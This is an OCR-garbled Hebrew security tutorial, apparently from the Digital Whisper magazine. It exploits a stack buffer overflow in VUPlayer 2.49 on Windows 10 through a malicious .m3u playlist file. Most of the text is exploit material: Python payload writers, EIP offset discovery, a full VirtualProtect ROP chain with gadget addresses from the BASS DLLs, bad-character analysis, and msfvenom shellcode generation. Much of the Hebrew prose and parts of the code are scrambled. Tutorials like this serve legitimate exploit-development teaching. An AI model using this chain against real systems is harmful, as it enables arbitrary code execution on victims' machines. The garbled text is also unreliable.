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Technologic

DEP

N"IRN NXp

:D'a¥N NYIXA 71yoh N>t DEP

. Optln: DEP is enabled for system processes and custom-defined applications only.
. OptOut: DEP is enabled for everything except specifically exempt applications.

. AlwaysOn: DEP is permanently enabled.

+  AlwaysOff: DEP is permanently disabled.

[https://docs.microsoft.com/en-us/windows/win32/memory/data-execution-prevention]

(Windows XP-1) boot.ini-2 /NoExecute n'¥DIXN 'T' 7Y DA¥NN TAXKA YN7 NDIWNN NIX 191777 [N
19 disabled IX enabled nirn%? 71>' DEP-w XIn |'ayn VAN (n7vnl Windows Vista-1) bededit.exe IX
.ntdll.dll-a LdrpCheckNxCompatibility X'n nTn feature-n NX NWYNNY N1'VINN .AXN AT '70N
-7 nXE Y70 Nn 1Y enabled nirn? 9y DEP RN viap? 'O NIRTA 190N Nyy¥an XN
7w D'ax¥n? TN .(compatibiliy issues N'non? Ty feature-n) .oXNN2 NtSetinformationProcess
Windows 112y TIva ,Opt-In X'n windows 10 1> windows client ni>Ayna 2Tnnn naa ,DEP

M9 Opt-In ' N1 kN, AlwaysOn X' 7Thnn N12a Server editions

n71y91 DEP

memory protections-n NX a'¥n'7 13 vprot nTIP91 wnnwa .windbg-7 attach nwyal notepad y™Ma
page-n > NXMI (ntdll.dIl 7w code section-n 7R y'axn eip 'WOY7 [121) eip-2 NPTNINN NAINDN 7w

XN ARMPY [N

0:006> !vprot eip

BaseAddress: 779601060

AllocationBase: 77870000

AllocationProtect: 00000080 PAGE_EXECUTE_WRITECOPY
RegionSize: 00087000

State: 00001000 MEM_COMMIT

Protect: 00000020 PAGE_EXECUTE_READ
Type: 01000000 MEM_IMAGE

77272 N2 ARNMP? NIND N0NNN L NRT NNIY?

0:006> !vprot esp

BaseAddress: 0101000

AllocationBase: 00fe0000
AllocationProtect: 00000004 PAGE_READWRITE
RegionSize: 00001000

State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE
Type: 00020000 MEM_PRIVATE
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IN'X NI'YA0'MN DR A'¥NI PE header-n MK 11112V 109N narly DwA extension-2 wnnwn? 751

1NN 79n17

0:006> .load narly

0:006> !nmod
01030000 0106f000 notepad /SafeSEH ON /GS *ASLR *DEP C:\Windows\system32\notepad.exe

eip-2 0'wal nonn? (0'-nop nYaIX) "dummy shellcode" aIn>1 DEP 7w n71vy9n NX w'nan%? '

:N71Y92 DEP IT - access violation 1T'N ,esp 7w Wi NX

0:006> ed esp 90909090

0:006> r eip = esp

0:006> r

eax=002d6000 ebx=00000000 ecx=T77939bcO edx=01008802 esi=77939bcO® edi=7793%bco
eip=0101f7c8 esp=0101f7c8 ebp=0101f7f4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
8101f7c8 90 nop

0:006> p

(1d608.128¢c)* Accaess violation - code copeepes (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=002d6000 ebx=00000000 ecx=77939bcO edx=01008802 esi=7793%bc@ edi=7793%bcO

eip=0101f7c8 esp=0101f7c8 ebp=0101f7f4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss5=0023 ds=0023 es=0023 fs=003b gs=00060 efl=00010246
A1 FT~0 O/ Par=T

Return Oriented Programming

,DNXY 191 0071 DNXP TIR 'WORA D'YNNYN N2 NYO'RIZTO0PZX N'dL X ,ROP - TI¥y IR
A7wnn "MeY" I g¥1 Dnn 0ol (borrowed code) [VILW DY71TINAI MIXI 12D DAY
NN 1'VnY? 21w 1 ,nonnn 7y X by nownw paronn L' naTt”! nf'on'? 7am TN Dnix
Q1011 NIXIIN ¥ NI - ret-2 D'NONYT DDMX TP 'WOPZ DNIX ,ANK? TNXR TI7 YOpn n¥n nnnt

.gadget X171 'KANN NIX D'PNY TIR Yo 73 .ret

2V D7V shellcode yn'? 117 A'wWoN? N ROP Chain-n T'79N 7w NN ,nnTPN2 'MNThY '9)

AN PIFTA wnna Ak ,DEP ninn? nnonnn
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VUPlayer

-Windows I'TIX |21 XInW - VUPlayer 2.49 7m windows 10 7y nj'200N NX D'ATA TI2V) 1NN

.pls-1 m3u nnaIT playlist 'yapa wnnwn |a1n .stack-n 7y Buffer overflow-7 y'ao ,|amow

Y'MWYN7 210 112y DINK DA ¥R 7R 0727 D17'ONY VoL AR 17X

NwU7Inn

MoV
MoV

mov

MoV

push

lea

push

call :

push 0 et Mode

lea , +5tringl]
push

call

,"FileName"-> qunna onim stringl-1 ,Stringl 7X String2 NX ?'MynY? ' strcpy-2 W'Y nWy)
77122 nnonnn 7y ypunn stringl-w nR11 decompiler-a 75N01 DX .fopen-7 NXMP 197 wnn

:0x100

:NaN subroutine-7 XM NXNI backtrace nxj?

.nNN"1O Y'X]
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I'TIN '¥27 NINY IX D'721'7 0770w DY7RI00770 D'¥AR 720 102 DAY NN ,playlist 'yap 'MdThw)

NN DT NDD VN |A3N 112V

| test.m3u - Notepad L= [ E -]
File Edit Format View Help
#FEXTM3U .

1\25 to life.mp3
2\almost famous.mp3
3\cold wind blows.mp3

NID - [A3NN NOXAW NIF2I'Y72197 DXINI VIYWD 'T IDA 7w disassembly-2 11'KW nn ,NT 72V 1DWNN DX
219%7 o) NIy fopen-7 NN yxani ,yalp ow nan X 17 7901w playlist-n yal X nNio

[(IX2 NIXYY7 117 7'D01 TNRNN NN0NAYT  NIFArYZADN WNN IR

D2'2N NNIXY NN ' 291 .nnonnn 7y 0x100 Xin FileName-7 IN String1-7 n¥pIng 7720w 1nX

nyxan XY strcpy NIWV¥NNA buffer INIXK 78 pnyin ("yalpn ow" IX) 0VO'2"'790 YAl DINY NXI1D

IR TINA " yalp ow" 7000 ,119wNn m3u Yalp qix'? N0 K7W NN TR NI N

ayload = b"A" * 2000
with n(path, 'wb') as handler:
("[!'] Writing to m3u file...")
handler.w (payload)
Q) VUPlayer — O b
File View Control Visuals Help
DS W@ @ | EE S5
4 L .
o <00:00>
I
& Untitled
Artist Title Type Chn  Duration

UPlayer v2.49 0 files (0.00Mb) : Oh 00m 00s
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-1 7"7nNY7 attach NwWY1 DYON IR ,*70NN 7V 1TN [oNp' KINTL|A1N 7R AX1IY m3u-n Y2l DR 1N

:(immunity-2 wnnwx 0'"ni1) debugger

VU966 /t 0
0012ECA4
41414141
00000000
2012F010
41414141

17T playlist yarp ax'? 2210 T¥D XM [XoN (A 1NN 7Y PORN Al XN 0x41) EIP 7y nuw 17 v

ITI N¥IN7 NIYI9N DX 7Y

EIP X offset-n NN'¥n

- Q'0IN7 02X 1INAX D'V NN Instrcution Pointer-n 27X offset-n 1NN NI7a%7 Y0¥ IWXIN 27w
XD M7NN) mona DWA corelan 7w n71yn plugin-2 wnnwa .EIP NX 2ndw? 7'nmw Ty padding

Q¥ D 0N 7Y rTINY pattern 11X¥'7 T2 GitHub - corelan/mona: Corelan Repository for mona.py)

(NTNNAN N7'NNN 2ANDIY eip 12 '1ITNN VODIXN NXR NYTY 7211) INXY 7V ATIN X7 D' NYIIR 1Y

Imona pattern_create 3000|

:pattern-nn m3u yal? 11X ,mona v NIPNNN N"P'N] pattern.txt yarp e

#

payload )

with (PATH
("[!] Writi

+. EVALED)]

ax¥n 7y 21w 75N011 ONPN NDINN ,IXAY AN NIX N2 immunity NN VUPlayer NX YN

N0 P2 DMVOAN

N
(L)

AN
=

:andiv EIP IM'R wn 0y TN pattern_offset-2 wnnwa

Imona pattern offset 68423768

rdngd pPdr LELrN_UTT=2E L DoY% o of O

Loak ing for h¥Eh

!

T
AL el il
%)

e
!

AT
ol 0 10 1

oo

r
F
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Loak ing for h¥Eh
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print('[!] Exploit Is Running )
payload = "A" * 1812
payload += 'B' * 4
payload += 'C* * (3000 - Len(payload))
with open(PATH , "w') as +:
{"[!] Writing Payload To Plyalist File ")
f.write(payload)

I
F
H
._F
I;I

e — -
S e

r ERROF_PATH_HOT_FOUMD [ @HEEEEE
s [HO,ME,E,BE.HS,PE, GE,LE]

instruction pointer-a '017n'7 0'V71IW 11NIX - N71VN LEIP-2 B NIRN 7w ASCI-n 21X NIX D'RIN 1INIX

D'NTPNN 'R TN

NN DIP'M 17 '8 L,119Y shellcode-n 7R Y1977'w jmp esp-7 EIP NN ANDWY LIWD D™71D' X7 1INIX
N'NN N7 nonn (D-ctf-2 NIRMY NI 0NY7Y win DPXRAI9 [1120) 1'7R ITNY TN '00R
,IND'T YuMY7? NIRWAN NNRYY 117 'WWoRNY LVirtual Protect-7 nxMjp EIP 7y n7w nu'7wnn xny

.DEP NX QIpy71 ¥ NRYIN 17 71yn7

.shellcode-7 - n'o'¥90 NI IX , N110NNY7 N VirtualProtect-7 1'ayn? n¥1iw 101190Y |aInd
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Virtual Protect

BOOL VirtualProtect(
LPVOID lpAddress,
SIZE_T dwSize,

DWORD flNewProtect,
PDWORD lpflOldProtect
X5

:D'VINIAIN NYAIX N7 XD

-0 N7'NN L N7W DNNIV'0]) NIKWANN DX NIRWY? X1 17 [N TR 10219 - IpAddress o
(hnir I nino ,shellcode

NIXYINN NIX MY 17 1021190 N'NNNITRN 7712 - Dwsize e

112y 0x40 17w NN - |ND'TN ITRY? NNY N¥IW access protection value-n - fINewProtect o
PAGE_EXECUTE_READWRITE

NINW DI7'n 72 ,1aN2'N2an) DTIPN access protection value-n 2nd' 1'7X 10219 - IpOldProtect o

(NTI2n DR nwy' P writeable

Finding modules

NIRRT 07 chain-7 gadgets Dnn VRPY7 D1IYW 17X -YI0 IXIANY DYITIN RIXNYT DX

:mona-1 21v WNNWX .null byte-n 21 17w NIANDN NIVI protections X77 7901w N1

‘!muna modules

NIN'™7? 217x7 0'7'NNn nNIRY 1197 .bassmidi.dll-1 BASS.dIl ,BASSWMA.dII-2 wnnwin? 711 ,n71vn

.TIoN NP N'DIN 001 ,gadgets-n NN'¥NI rop chain-n
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stack-n 7y n'vanIaXN VIT'0l Pushad

("7 7xnwn) Xan 1701 ,N"10NNn"7 General-Purpose Registers-n NX NONITY NX1IN X' pushad

EAX, ECX, EDX, EBX, ESP(original value), EBP, ESI, EDI

:stack layout-n nX1' D

e +
Registers

EAX

o o o e s e e e e e >
ECX

e e o e e e >
EDX

P ——— >
EBX

S S —— >
ESP

A S S S S —— >
EBP

R S —————— >
ESI

S T S S ————— >
EDI

T P SR PP ——— +

NX 1707 J0X) ROP chain-n nIM'@aw MIXY nn ,pushad ret-2 wnnwil 1D chain-2a
QNTIY |NNRN VNN 7'NN .0'A'RNAN DN00'ANA VirtualProtect-7 D'A'RNNN D'VINIAIRD

['URI7 TV )'wnil nonnY

ROP chain-n NIN'©

EDI

N2N VIN7X7 NAYNY ret NIKIIN VIWD - ropnop gadget-2 WNNWI T8 ,NIX 17 W' NN X7 EDI-a

.pop edi gadget-1 (n'va X'7) N1 gadget 7w N2IND 1I0VX1 D DW7 .NoNNa
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RIE
RWE
RUE

D LI

rret NRAIN 12 WON)I
FOF ECH
FUSH E

~l b= -

:mona 7W rop_suggestions-1 21w wnNNW1 ,pop edi gadget X¥n

: # POP EDI # RETN  ** [BASS.d11] ** | null {PAGE_EXECUTE_READWRITE}
: # POP EDI| # RETN [BASS.d11] ** | null {PAGE_EXECUTE_ READWRITE}

: # POP EDI| # RETN [BASS.d11] ** | null {PAGE_EXECUTE_ READWRITE}

: # POP EDI| # RETN * [BASS.d11] ** | null {PAGE_EXECUTE_READWRITE}

: # POP EDI| # RETN 0x10  ** [BASS.d11] ** {PAGE_EXECUTE_READWRITE}

: # POP EDI| # RETN * [BASS.d11] ** | null {PAGE_EXECUTE_READWRITE}

: # POP EDI| # RETN [BASS.d11] ** | null {PAGE_EXECUTE_ READWRITE}

: # POP EDI| # RETN ** [BASSMIDI.d11] ** | {PAGE_EXECUTE_READWRITE}
: # POP EDI| # RETN * [BASS.d11] ** |  {PAGE_EXECUTE_READWRITE}

: # POP EDI # RETN  ** [BASSMIDI.d11] ** | ascii {PAGE_EXECUTE_READWRITE}

(M7 n'ninw) 0x100190b0-2 N1

:EDI'7w nmain NX Ddo)

EDI:
POP EDI ; RET; -> ©x100190b8

RET; -> 0x10101008

a7™an axp 2v npT™ ,ASLR

TIX |"¥nn (0x10000000 ,nnaiT?) Preferred Base Address bwa 7V va71 ,Executable n'79onpmwd
227N DY "IN1'AN DX 791077 [N relocations D'YXINN K71 0T [YONYT NX TN NY7R Namdn
n'NALM PITA N7 IT IR 1MW preffered base-nn N1iw 0'01 NAIMDY [YU'N7 NIXI17 "WON'Y /REBASE
28 DYV NNT Preffered Base ny 179n1pw 0'-DLL w) address collisions -n yan'n'? 0T NIF X7X

./DYNAMICBASE - 9011 7212 0IX W' ,ASLR-7 enable niwy7 *1 ("7nN INIX

Native DLL's n7yonn Ndyn N"7ya ,[IWXIN 17wA .0'-phase 1wl wninn ASLR ,Windows-2
restart TV nNyIAp NIXWI NAMDNI ,N'711ITN 0'01 NAIMD 77X DYVl NdWn D'7NN] WIn'waw
0'01 NAINDY YP'72IX' ASLR DY 7907w NN 7D .ANP™OR NYINA KIN W phase-n .NdynY

D'mim
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ESI

1nNaX DT kernel32.dll-w 127 [INN9 XIxnY? Y7X) VirtualProtect 7w Naimdn NX 0'w7 10X ESI-a
D'21TIM 1IX¥N 12D ,1NNNNYY \Windows 7¢ NI"dTY NIXONAQ ASLR Dy 79n1i7 ,n'¥j1197 XNp'? 0215
niwy? 731 VirtualProtect NX Xa'"n nonn TNX DX .Vuplayer-7 nayvian ASLR X77 179onipw
X7v [NOn 21minn 7w 0'0an NAIMDY? Nraru' IAT entry-n) NMKRI'T n7W AT entry-7 dereference

.(ASLR bypass 127 |'K TIv 70 DYNAMICBASE Dy 79n1jpw 71Tina wnnwin 721

:T1I2V7 0710 1INIX D'2*VN |AT Entries 17'K DY 71727 *T> mona-1 1YW 1T

Imona ropfunc

:ropfunc.txt i

0x1060e25c : ker‘neBZ.vir‘tl,larlpr‘c:tec.t | @x75d184co | {DAGEiEXE[UTEiﬁEADL\IRITE} [BASS 7DI.d11] ASLR: False

@x10109270 : kernel32.virtualprotect | @x75d104c@ | {PAGE_EXECUTE READWRITE} [BA 1A.d11] ASLR: False,
0x10040284 : kernel32.virtualprotect | @x75d104c@ | {PAGE_EXECUTE READWRITE} [BASS.d11] ASLR: False, Rel

NWY'Y gadget NIXN7 N0VX] ...7'90N X7 |"TY NT 72X VirtualProtect-7 IAT entries 117 w' In71yni
7¥ rop_suggestions-1 |I'vn .VirtualProtect-7 1mxy 101190 NX 2'wn? "1 entry-7 dereference

:Nan gadget-2 'M'77n1 mona

@x1001eafl (RVA : @x@@@leafl) : # MOV EAX,DWORD PTR DS:[[ZE@] # RETN  ** [BASS.d11] ** |  {PAGE_EXECUTE_READWRITE}

.eax-1 VirtualProtect 7w entry-n NX D'Y7 NOXIYW MNIXK 0T 117210 0T

:NIYXNXA rop_suggestions.txt N X7 [N 22N

Imona rop -m basswma,bassmidi,bass

.immunity NX DNIPNN 12 2'NIN NNN INIX NIXNn71

:pop eax XxN)

9x10015fe7 (RVA : 5 ) : # EREEIEN # RETN =% [BASS.d11] ** | TE_READWRITE}

x18815f82 (RVA : ox 5 : # POP EAX # RETN ** [BASS.d11] ** | {PAGE_EXECUTE_READWRITE}
exlee@7fef (RVA : © 7f6f) : # POP EAX # RETN ©x@C ** [BASSMIDI.d11] ** | ascii {PAGE_EXECUTE_READWRITE}

:(7un? xchg IX mov) esi-7 eax NX 7'NY'Y gadget XIxn7 17 1NN

:0D01,X'79]

0x10015fe7 # POP EAX; RET;
0x1060e25c # VirtualProetct IAT - no aslr module

0X1001leafl # MOV EAX , DWORD PTR DS [EAX] ; RET;
0x10030950 # XCHG EAX , ESI ; RET ;

NNRNN 9102 NIA'VINVTR 7Y 12T PVirtualProtect-7 entry 17 N X7 DR NN

Developing ROP chains to defeat Windows 10 DEP
www.DigitalWhisper.co.il
11 2023 WNN29 ,147 [1I'a




Technologic

EBP

return address-n NX NIINAY MIXY nn LVirtualProtect-7 NXMpPn WNK? nonnn 7w top-n N
- 7V YNt esp-W N2'ON L[RD 'IRT'R N jmp esp [271,NRMPN INKRYT shellcode-7 N1Tn? nx1 .n7w
nnooind wnnwn Win32 API-w X' VirtualProtect-7 mMayvnw nroanianxn 7y X71 17w shellcode

.stack-Nn 0'VINIANY pop NIYYY? N'RINKN X' NIXIPIN X290 - AN 2 .stdcall NXIZIN IRNP

:pop ebprixn7n 7'nM

9x10817c0d (RVA : ox@eelvced) : # [QURly # RETN 0xoe4 [BASS.d11] ** ii {PAGE_EXECUTE_REA

.rop nops NNV NNT nWY1 RETN 0x4-7 chain-n NX 0'XNn"? 110¥1,"'71" gadget D7 X7
;jmp esp XX¥nil 'wna
jmp esp

nasm > jmp esp
C jmp esp

!munafhd—s'tdﬂxef'wn'hasswnuLhassnﬁdLhas§1

:Dd0]

0x10017cod # POP EBP; RETN 0X04;

0x1010539f # JMP ESP - non aslr module
0x10101008 # Pointer to ROP NOP to compensate for the RETN ©x04
0x10101008 # Pointer to ROP NOP to compensate for the RETN 0x04

ESP

SNNYY 'm n1aonnY? 0'oNT DNVNY - stdcall-7 MIDTN ,NYPZADT7 IWURIN VINIARD DX DIINY
,NXINYT N7 71907 DX INIR [N2'T TRT Y2YN XINL|[NNK NI [IWRIN KIN Ipaddress 0NN

.NINW IND esp NX V'RWN7 ‘D11 D7

NIAINIY7 - NI0NNA eax-? NNNN7 Y1AX' WNI70 ,ARPN 1197 esp 7w NN 7Wn DX NoNIT pushad
X71 NT'N2 stack layout-2 y'¥n'71 TN y'7nn .qunna 17w shellcode-n NX DpPN) OW ,ANIF NN

.qlon Ty Dd7 M2
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EBX

2V NN'w AT DR NIWYY "D 0'XNN gadget 'MXyn X7 .10 17 N 0x201 12 0'w7 ,dwSize nX 2'Tne
17 v pw nn EBX

9x10015ef2 (RVA : HH’BE’E’].EE"FE} : # ADD EBX,EAX # XOR EAX,EAX #
0x10832f32 (RVA : H.nE}i]E:;Zf : # CHG v # RETN H\E}B

Mo A A T TR

:N2N "wnin gadget-7 1% m'wi ,EAX Dy TIAY7 'Dnv p

451  0x1003a074 (RVA : 0x0003a074) : # [GHENN, 994803BD # RETN  ** [BASS.d11] **

?210 NT N7 ,'OXVO Y DY XOR EAX XD 127 W' ,XOR BC = A-1 XOR AB = C :0d1' D117

7NNX7 .0x994803BD-'uUXVON W7 0x201 - D'¥IN NNIXY VN 2 XOR 7w NR¥INN DX 2wWN? 721
MIZAN WA 2'TN* Xor ,eax-n N71Y9 DI'0AY D ,xor gadget-7 NNMITH NN 1"aYN71 NXXINA eax NN

.ebx-7 xchg 17 w1 .0'x1N NNIRY

pop eax gadget :Xx¥n)

0x10015Fe7 (RVA : @ 15fe7) : # § # RETN ** [BASS.d11] ** 'P;lGE EJ(ELLITE READUFITE‘

:0201,0x994801bc X'n 994803BD-7 0x201 |2 Xxor-n NXXIN

EBX:

0x10015fe7 # POP EAX; RETN;

0x994801bc # Once xored with 0x994803BD will result in 9x201
0x1003a074 # XOR EAX, ©x994803BD ; RETN
0x10032f32 # XCHG EAX, EBX; RETN ;

2

EDX

NI¥N7 |N1) .PAGE_EXECUTE_READWRITE 112y 0x40 [X> D'w7 nx¥11 W) fINewProtect-a p'rnt

:(MSDN Tiy'na Memory Protection Constants-n NX
Constants

Constant/value Description

PAGE_EXECUTE Enables execute access to the committed region of pages. An attempt to
0x10 write to the committed region results in an access violation.
This flag is not supported by the CreateFileMapping function.

PAGE_EXECUTE_READ Enables execute or read-only access to the committed region of pages. An

0x20 attempt to write to the committed region results in an access violation.
Windows Server 2003 and Windows XP: This attribute is not supported by
the CreateFileMapping function until Windows XP with SP2 and Windows
Server 2003 with SP1.

PAGE_EXECUTE READWRITE Enables execute, read-only, or read/write access to the committed region of
0x40 pages.

Windows Server 2003 and Windows XP: This attribute is not supported by
the CreateFileMapping function until Windows XP with SP2 and Windows
Server 2003 with SP1.
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:INT NIYYYT 0O TN NNR

eax NN O9X7 .1

DMy 16 NI71 - 0x40-7 y'an DWW TV eax-7 4 q'oin? .2
xchg edx,eax Xixn? .3

:eax NN 09X'M '7'nMma

@x106074F8 (RVA : @x0@0@74F8) : # XOR EAX,EAX # RETN  =* [BASSMIDI.d11] **

:D'MY9 NYY WY eax-7 VIR q'on

8 0x10014474 (RVA : 0x00014474) : # WDANWE # RETN  ** [BASS.d1l] ** | =

:edx-7 PNy

% [EAbS dll] ok

#k FTDACC ATT T ki

0x106074F8
0x10014474
0x10014474
0x10014474
0x10014474
0x10014474
0x10014474
0x10014474
0x10014474
0x10014474
0x10014474
0x10014474
0x10014474
0x10014474
0x10014474
0x10014474
0x10014474
0X10038A6C

EAX,EAX; RET;
ADD EAX,4; RET;
ADD EAX,4; RET;
ADD EAX,4; RET;
ADD EAX,4; RET;
ADD EAX,4; RET;
ADD EAX,4; RET;
ADD EAX,4; RET;
ADD EAX,4; RET;
ADD EAX,4; RET;
ADD EAX,4; RET;
ADD EAX,4; RET;
ADD EAX,4; RET;
ADD EAX,4; RET;
ADD EAX,4; RET;
ADD EAX,4; RET;
ADD EAX,4; RET;
XCHG EAX,EDX; RET;

=
=
=
=
=
=
=
=
=
=
=
=
#
#
#
=
#
#
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ECX

writeable 2 X'nW NaIND D'DMIY 1INIX ,DTIPN Memory Protection Constant-n NIX I'7X 2AIN2Y7 DIN

NP NIdTYAI

mmmmmmmm

e

:POp ecx XXnl 17 P'DOﬁ'? MIINKX XD NIAINONN NNX

ECX:
0x10601007 # POP ECX; RETN;

0x101053DC # Writeable pointer

EAX

:0'-NOP 12 2'¥1 |27 shellcode-n 197 Dzmn XN ,12 IX DR 17 'K, |NNKI

EAX:
0x10015fe7 # POP EAX ; RET;
0x90909090 # NOPs

Chaining it all together

1N2ONW D'-chunk-nn |7'7I"l .0"MUV0'AN] D'YNNWYN 1INIX 12 1ToN KIN I''N 17 D'wY IOXIY AT

:(EAX 7y D11y EBX-1 EDX,ESI) .0NNn 1091 75 0TI |2'7,0'9010 DIVO'AN 7V D'Y'DOWNI D'YNNWA

rop = edx
rop esi
rop ebx

rop ebp
rop edi
rop eax
rop BCX

Y07 N¥MY shellcode-1 pushad gadget xixn 1 17 "nn 91017
[pushad]

0x1001d7aY (RVA : 0x0001d7a5) : # PUSHAD # RETN ** [BASS.d11] **
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Bad chars

NNYIN VIYY IX crash-n 7w '91XN NX NNWY ,shellcode-n nx 117 W1aw7 710'w 1IN 75 Xin Bad char
NNIXY D7IZIVNSDI AYWRINN 10 ,N'¥P79X? DXNNA 1INW' Bad chars .12 D'wnnwnwd [ND'72
NTY qlol /r ax'n 0x0D .11mn Y1 WX Y7 ,string terminator 1IN yIT 7wn% 0x00) D'vaLVN

(1N D2 0'wIn1 1A HTTP Nwjad nTw T nwin 0'7¥In 120 DR D, http

0x00-) D"MWONRN DYINN 72 IR NITWT7 X'D 179 D'YXI0'01 yan'n'? 10X bad chars 17'8n vIap? 0T
NXRYIND ONp' X7 1'7NNNY DA PN') .N0NZN INXT7 DR'YMR NN DNXPONRN TYD [INQ71,(OxFF
bad char-nI noMpN NX A1VN7 ' 010N 7TIA2 NIFN7 Y buffer-n 7un% DX .bad char nnwn
-N 72 1Ay p'eon 7Im nfnt X7 NN TIAWY? 2w nipnin omyY ,qom L(buffer-7 terminate nwiy

.D0'-chunk-7 n7*12n NX 7707 Y7Naw D ,bytearray

STN' 7200 DR NI7WY 21 7w njpma

bad_chars (

(payload))

(crash ) handler :

handler (payload)

:vuplayer-7 attach nwyal windbg-7 N1Tna ,shellcode-n Ni'n'7 WM 12 DIp'NA bytearray-n NK 2'¥)

(3af8.7cl18): ess violation - code ce@@eeas (first chance)

First chance excepfions are reported before any exception handling.

This exception may be expected and handled.

cax=08880001 cbx=08808281 =cx=830108000 =dx=080088008 csi=76f784c8 =di=18181883
eip=081%e7ce esp=0819%e7ad4 ebp=18168539f lopl=8 nv up ei pl nz na po nc
c5=0823 s5=882b ds=082b es=882b fs=8853 gs=882b efl=88818282
B819e7c@ 8182 add dword ptr [edx],eax ds:8e2b:oceeseee=2222222?
B:8088> db esp

0e1%:7a4 O@ 99 99 00 90 99 08 C9-99 290 99 90 98 98 98 98 ..... ... e00aann
ge19e7bd S0 0B 98 98 98 989 98 S9-99 28 98 95'81 R BN L e S e a o e oo o
Bel19e7cd 85 86 87 a8 BB'dB 4z 82-02 60 bd @8 0D 80 @8 @8 ..... H).........
B@l0e7d4 68 68 bd 66 68 18 86 88-98 10 38 62 66 08 bd 88 .......... B.....
B@1%9e7ed 09 0D 0D 60 88 @9 06 90-080 08 bd 88 88 88 88 88 .............e.n
Be19e7f4 de e2 bd 86 81 28 20 20-61 OB 0D 80 88 88 bd 88 ... ... ...
0@102264 062 0D 0D 90 99 20 20 20-82 BB bd 88 88 88 bd 88 ... ... . ...,
0819e814 60 68 98 88 7c 28 19 @8-ab fc d7 77 58 82 bd 88 ....|......wX...
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-N X 117 12w 0x09 ,(n'7nnininn 1709w null byte-7 n*on"nn DX W) IWXIN bad char-n DX 1IXX¥N

'7NNN 7V TN NN'WANN INIR 101 .buffer

T L I F

B:888> db esp

g81%e7a4 ©8 90 98 98 98 98 %9 98-%6 %@ 92 90 98 %98 949 98
Belo9e7b4d ©©& 98 906 09 98 98 96 99-99 06 S99 906 61 82 83 84
881%9e7c4 B85 86 67 88 @9 4c 4f 82-00 B0 ca 00 B0 26 @8 a8
881%e7d4 ©8 98 ca 88 80 19 28 28-38 89 df 8% 86 28 ca e
881%e7e4 08 B0 B0 66 606 80 80 e6-66 B8 ca B0 BO 66 806 8o
8819e7f4 dé =2 ca 88 @1 20 28 20-01 60 62 60 B0 28 ca ee
881%eE64 08 B0 B0 66 80 80 80 e8-68 B2 ca B0 BB 66 ca 88
8819e814 08 00 68 868 7c e8 19 88-ab fc d7 77 58 82 ca e

72T 7w 19102 YO X7 WNnY TV 1'wnl )2 ,bad char Da Xin 0x0a 17> ,0x08 TNKY7 12wl a1Y

.0x00 ,0x09 ,0x0a ,0x1a :0n bad chars-nw 17an

shellcode-n Nn2'na

Reverse-d wnnwn? 1712' NN NNIXA X ,calc yY'97nw X7 shellcode-a wnnwx POC-n nun?
DINQ y*71n X custom shellcoding - 7y 2'NIXR X7 ,'xya 'NAND 10 WnNNWRWY shellcode-n N .Shell

:msfvenom Dy one liner-2 shellcode V1A% DA N ,N7N 702 .XWIA 111 7w nknn 7y

ec CMD=calc.exe -b "‘\x g " -f python chellcode
[-] No platform w elected, choosin : Mt e ::Windows from the payload
[-1 No h sel ed, s cting arch:
Found 11 compatibl 1
Attempting to encode pay

-

=

=

=

(]
=

(]
=

(]
=
nn

+
+= h"
+= b"
+= b
+= b
+= b
S += b
S += b
s += b
sh += b"
5 += b
5 += b"
5 += b"
+= b
+= b
+= b
+= b
+= b
+= b
+
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1n7v exploit-n 01041

inal.m3u

= struct.
+= struct.

eax
X

ea

struct.

struct.
= struct.
= struct.
= struct.
= struct.
= struct.
= struct.
= struct.
= struct.
= struct.
= struct.
= struct.
= struct.
= struct.
= struct.

struct.

Rl R R R R R R )
B S S S S S Y

T i T T W

struct.
struct.
struct.

EBP
struct.
struct.
struct.

si
esi +=

esi +=
esi +=

edi += struct.
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rop
rop
rop
rop
rop
rop
rop
rop +=pushad

# nops
nops

VT

payload

N GET rop

EVAGET nops

EVAGET shellcode

payload b"C” * (3000 - (payload))

# Write pay C
with {crash, "w as handler :
handler . (payload)

}]A30 7R XY playlist-n yale nX 1M1 Exploit-n Nk Yy

Q VUPlayer — O X
File View Control Visuals Help

sl
;j Untitled
Artist Title Type  Chn  Duration

0 files (0.00Mb) : Oh 00m 00s
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B
le View Control Visuals Help Caleiiaton
1 Fh B2~ 2| M E

= Standard
0 4 <00:00>
2] Untitled
rist

ITIz n¥n N7 W
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VirtualProtect-7 nia'vinvYX

|27 .VirtualProtect NX X2'"'n DA 9ONAW DT TIVI ,ASLR X777 79n1pw 71T 117 n'n' NEXI0'0 701 N7

J'0NVZR DN AN

API What does it do

VirtualAlloc Creates new memory location without DEP
protection

HeapCreate Creates a private heap that allows code
execution

SetProcessDEPPolicy DEP policy will be changed to enable

execution of code from stack.

NtSetinformationProcess DEP policy will be changed to enable
execution of code from stack.

VirtualProtect Changes protection level of memory to cause
code execution.

WriteProcessMemory Allows code to be written at a memory
location with no protection.

:WPM NX nnaim np1

BOOL WriteProcessMemory(

HANDLE hProcess,

LPVOID 1pBaseAddress,

LPCVOID 1lpBuffer,

SIZE T nSize,

out] SIZE T *1pNumberOfBytesWritten

|
|
|
|
|

2V ¥ aN7,("pn") wmwa X7 N7 TR 7R 17w Shellcode-n Nk 2IMDY7 117 "'WOR' WPM-1 win'w
RX NIRWAN 7p2 NIFA% 2N N2 TR INIR .code cave DA K71 Alignment nnon? Y7 onipn T

.DAl DA X7 ,executable IX writeable Ni'n'2 X |1N>'T DEP enabled-wo ,0'wTiI* 12D 11NIXY 19D

I"7X |ND'TNIENT'NAY KN N2'oN ?PRX KINW |1ND'T7 shellcode-n NX 2IM'7 0710 NIRT 722 11NN 'K TX
Nt 9121 NtProtectVirtualMemory nwa syscall nwyn X'n ,writeable X7 2M>%7 nwpann WPM
12¥NY7 page-n NX VN'TNN X'N NN7¥N2 ANUNON NN N7IYOW NRY ,RWX-D page-n NX [NON

W X77 - n7nnm

QMDY "1t X7 decoding stub-n - encoded XInw shellcode-2 wim'wa NirM'yan KXin 70N [NONN
bad 7715 X7w shellcode 11yya AMdY I'n' oMwoOX NIINNO .Access Violation-7 '7'a1'l code cave-a

271312 N'¥1A02'K 17 NIWY'71 ROP ooian Decoder 2IM2%7 IX ,encoding WNIT K71 7702 chars
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entry-7 derefernce NIWY7 7211 ,178N NI'Y1190 NNR DX KA ASLR X77 7901w 7T 'RIENT'Na
